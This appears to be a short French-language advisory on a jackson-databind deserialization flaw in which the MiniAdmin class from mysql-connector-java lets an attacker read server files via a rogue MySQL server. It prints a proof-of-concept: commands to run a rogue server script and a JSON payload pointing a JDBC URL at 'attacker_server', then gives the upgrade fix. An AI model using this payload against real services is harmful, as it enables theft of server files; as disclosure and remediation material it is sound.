
Lorsque Default Typing est activé et que le classpath contient une version de mysql-connector-java inférieure ou égale à 8.0.15 (publiée le 2019.2.1), un attaquant peut lire des fichiers arbitraires en envoyant des données JSON malveillantes. La bibliothèque mysql-connector-java est le connecteur JDBC MySQL couramment utilisé pour se connecter aux bases de données.
Description CVE :
Un problème de typage polymorphe a été découvert dans FasterXML jackson-databind 2.x avant 2.9.9. Lorsque Default Typing est activé (globalement ou pour une propriété spécifique) pour un endpoint JSON exposé externement, le service a le jar mysql-connector-java (8.0.14 ou antérieur) dans le classpath, et un attaquant peut héberger un serveur MySQL conçu accessible par la victime. Un attaquant peut envoyer un message JSON conçu qui lui permet de lire des fichiers locaux arbitraires sur le serveur. Cela se produit en raison de l'absence de validation de com.mysql.cj.jdbc.admin.MiniAdmin.
Détails de la vulnérabilité :
com.mysql.cj.jdbc.admin.MiniAdmin accepte une valeur de type chaîne représentant une URL JDBC. Lors de l'initialisation, la classe com.mysql.cj.jdbc.admin.MiniAdmin se connecte à la base de données MySQL spécifiée par cette URL JDBC.python rogue_mysql_server.py
tail -f mysql.log
["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]
# edit IP & Port at the payload "./volume/src/main/java/poc/Main.java".
$ docker build .
Mettre à niveau Jackson vers 2.9.9 ou une version ultérieure.